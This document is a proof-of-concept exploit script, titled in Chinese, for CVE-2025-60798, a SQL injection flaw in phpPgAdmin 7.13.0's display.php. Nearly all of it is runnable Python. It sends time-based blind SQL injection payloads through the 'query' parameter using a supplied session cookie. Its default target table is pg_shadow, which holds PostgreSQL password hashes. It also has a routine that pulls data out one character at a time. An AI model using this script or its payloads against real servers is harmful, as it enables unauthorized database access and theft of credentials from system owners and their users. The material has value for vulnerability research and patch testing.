CVE-2025-60798: phpPgAdmin 7.13.0 display.php SQL注入漏洞

import requests import sys # CVE-2025-60798 SQL Injection PoC for phpPgAdmin 7.13.0 # Target: phpPgAdmin display.php def exploit_sql_injection(target_url, session_cookie, table_name="pg_shadow"): """ Exploits SQL injection in display.php via $_REQUEST['query'] parameter This PoC demonstrates blind SQL injection to extract data """ # Vulnerable endpoint vuln_url = f"{target_url}/display.php" # Malicious SQL injection payload # Uses time-based blind SQL injection technique payload = f"'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM {table_name}--" headers = { 'Cookie': f'phpPgAdmin_Session={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } params = { 'query': payload, 'server': '1', 'database': 'postgres', 'schema': 'public', 'table': 'users' } print(f"[*] Target: {vuln_url}") print(f"[*] Payload: {payload}") print(f"[*] Sending malicious request...") try: response = requests.get(vuln_url, params=params, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") if response.elapsed.total_seconds() > 4: print("[+] SQL injection confirmed! Time-based blind injection successful.") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data_blind(target_url, session_cookie, sql_query): """ Extract data using time-based blind SQL injection """ extracted_data = "" charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-' for pos in range(1, 50): found = False for char in charset: # Time-based blind SQL injection payload = f"'; SELECT CASE WHEN (SELECT SUBSTRING({sql_query},{pos},1)='{char}') THEN pg_sleep(3) ELSE pg_sleep(0) END--" params = { 'query': payload, 'server': '1', 'database': 'postgres' } headers = {'Cookie': f'phpPgAdmin_Session={session_cookie}'} try: response = requests.get(f"{target_url}/display.php", params=params, headers=headers, timeout=10) if response.elapsed.total_seconds() > 2: extracted_data += char print(f"[+] Extracted so far: {extracted_data}") found = True break except: continue if not found and extracted_data: break return extracted_data if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} http://localhost/phppgadmin abc123def456") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("=" * 60) print("CVE-2025-60798 SQL Injection PoC") print("phpPgAdmin 7.13.0 and earlier") print("=" * 60) exploit_sql_injection(target, cookie)